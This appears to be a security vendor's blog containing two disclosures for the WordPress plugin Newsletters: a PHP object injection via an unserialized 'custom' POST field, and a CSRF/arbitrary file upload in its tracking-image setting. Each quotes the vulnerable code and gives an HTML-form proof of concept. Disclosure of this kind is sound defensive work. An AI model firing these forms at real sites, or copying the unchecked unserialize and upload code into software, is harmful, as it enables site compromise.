05 Mar

Is This PHP Object Injection Vulnerability Why a Hacker Would Be Interested in the WordPress Plugin Newletters?

On March 1 we had a request on this website for a file that would be located at wp-content/plugins/newsletters-lite/readme.txt. That is file from the plugin Newsletters and our guess would be that the request was from a hacker probing for usage of the plugin in preparation to try to exploit a vulnerability in it. In looking over the plugin we found a PHP object injection vulnerability that might be what be what a hacker would be interested in exploiting, since that is a type of vulnerability they frequently target.

The plugin’s function init() in the file /wp-mailinglist.php runs during, not surprisingly, init:

64
$this -> add_action('init', 'init', 11, 1);

So it will run whenever WordPress loads.

In that function the variable $method is assigned the value of the GET input “wpmlmethod”:

710
$method = (empty($_GET[$this -> pre . 'method'])) ? $wpmlmethod : esc_html($_GET[$this -> pre . 'method']);

That is then used in a switch statement:

1378
switch ($method) {

If $method is set to “paypal” the value of the POST input “custom” urldecoded and then unserialized, which can lead to PHP object injection:

1770
1771
1772
1773
1774
1775
1776
1777
1778
1779
1780
1781
case 'paypal'			:
	global $Html, $SubscribersList;
	$req = 'cmd=_notify-validate';
 
	foreach ($_POST as $pkey => $pval) {
		$pval = urlencode(stripslashes($pval));
		$req .= "&" . $pkey . "=" . $pval . "";
	}
 
	$paypalsandbox = $this -> get_option('paypalsandbox');
 
	$custom = maybe_unserialize(urldecode($_POST['custom']));

We notified the developer of the situation within hours of us receiving the requests on the 1st and explained we would need to disclose the vulnerability shortly, but we could hold back disclosure for a short time if they provided us a timeline on it being fixed. The next day they responded without a timeline, but said they were working on fix. It has now been three days and that has yet to been released.

Considering that this is a monetized plugin the developer should be able to promptly fix a vulnerability that may already be being exploited. Three days is more than enough time to do that, so we are going ahead with the disclosure as we need to warn our customers and don’t want others to be left without the possibility of knowing that they at risk as well.

Wider Warning

Due to the fact that the vulnerability might be being targeted by hackers we are adding it to the free data that comes with our service’s companion plugin, so that even those not using our service yet can be warned if they are using a vulnerable version of the plugin. Though using our service would help us to catch more vulnerabilities before the might start getting exploited in the first place.

We have also improved an existing check for possible PHP object injection vulnerabilities in our Plugin Security Checker (which is now accessible through a WordPress plugin of its own), so if you check a plugin that contains a possible PHP object injection vulnerability caused by similar code, it will now be flagged.

Our Plugin Security has flagged several other possible issues in the plugin, so if you are using the plugin you may want to have the security of the plugin more thoroughly reviewed (something we offer as part of our main service and a separate service).

Proof of Concept

With our plugin for testing for PHP object injection installed and activated, the following proof of concept will cause the message “PHP object injection has occurred.” be shown.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/?wpmlmethod=paypal" method="POST" >
<input type="hidden" name="custom" value="O%3A20%3A%22php_object_injection%22%3A0%3A%7B%7D" />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • March 1, 2018 – Developer notified.
  • March 2, 2018 – Developer responds.
  • March 12, 2018 – Version 4.6.8.6 released, which fixes vulnerability.
26 Jun

Cross-Site Request Forgery (CSRF)/Arbitrary File Upload Vulnerability in Newsletters

We recently have been trying to get an idea of how effective it would be to try to proactively catch some vulnerabilities when changes are made to WordPress plugins that include those vulnerabilities. Seeing as arbitrary file upload vulnerabilities are at the top in terms of exploits that seems like one area where it might make sense to focus on, while looking over just several days worth of plugin changes we ran across a related, though much less concerning vulnerability. That being a cross-site request forgery (CSRF)/arbitrary file upload vulnerability in the plugin Newsletters, which would be unlikely to be targeted on a wide scale, but might be used in a targeted attack.

The vulnerability is caused by two security failures.

First, when saving the plugin’s settings the plugin doesn’t check to make sure that valid nonce is included with the request. That could allow an attacker that could get a logged in Administrator to visit a page they control, to change the settings. The form that is submitted actually contains a nonce, so the developer seems to be aware of CSRF, but hasn’t properly implemented the protection.

Second, one of the settings that gets saved is a “Tracking Image/Logo”. While that name would indicate that some sort of image should be uploaded the code, shown below, has no restriction on what can be uploaded (/wp-mailinglist.php):

8201
8202
8203
8204
8205
8206
8207
8208
8209
8210
8211
8212
8213
8214
8215
8216
8217
8218
8219
8220
8221
8222
8223
8224
8225
8226
8227
if (!empty($_FILES)) {
	foreach ($_FILES as $fkey => $fval) {
		switch ($fkey) {
			case 'tracking_image_file'			:
				$tracking_image_file = $this -> get_option('tracking_image_file');
 
				if (!empty($_POST['tracking']) && $_POST['tracking'] == "Y" && !empty($_POST['tracking_image']) && $_POST['tracking_image'] == "custom") {
					if (!empty($_FILES['tracking_image_file']['name'])) {
						$tracking_image_file = $_FILES['tracking_image_file']['name'];
						$tracking_image_path = $Html -> uploads_path() . DS . $this -> plugin_name . DS;
						$tracking_image_full = $tracking_image_path . $tracking_image_file;
 
						if (move_uploaded_file($_FILES['tracking_image_file']['tmp_name'], $tracking_image_full)) {
							$this -> update_option('tracking_image_file', $tracking_image_file);
						} else {
							$this -> render_error(__('Tracking image file could not be moved from /tmp', 'wp-mailinglist'));
						}
					} else {
						if (empty($tracking_image_file)) {
							$this -> render_error(__('No image was specified', 'wp-mailinglist'));
						}
					}
				}
				break;
		}
	}
}

By default the setting’s page is only accessible to Administrators, but the plugin provides the option of making the settings page available to lower level users as well, so in those cases lower level users also could exploit the arbitrary file upload portion of this without CSRF coming in to play.

We contacted the developer of the plugin about the issue a week ago, but we have not heard back from them and the vulnerability has yet to be fixed.

Proof of Concept

The following proof of concept will upload the selected file to the directory /wp-content/uploads/newsletters-lite/, when logged in as an Administrator.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin.php?page=newsletters-settings" method="POST" enctype="multipart/form-data">
<input type="hidden" name="tracking" value="Y" />
<input type="hidden" name="tracking_image" value="custom" />
<input type="file" name="tracking_image_file" />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • June 19, 2017 – Developer notified.
  • December 18, 2017 – Version 4.6.7 released, which fixes cross-site request forgery (CSRF) issue.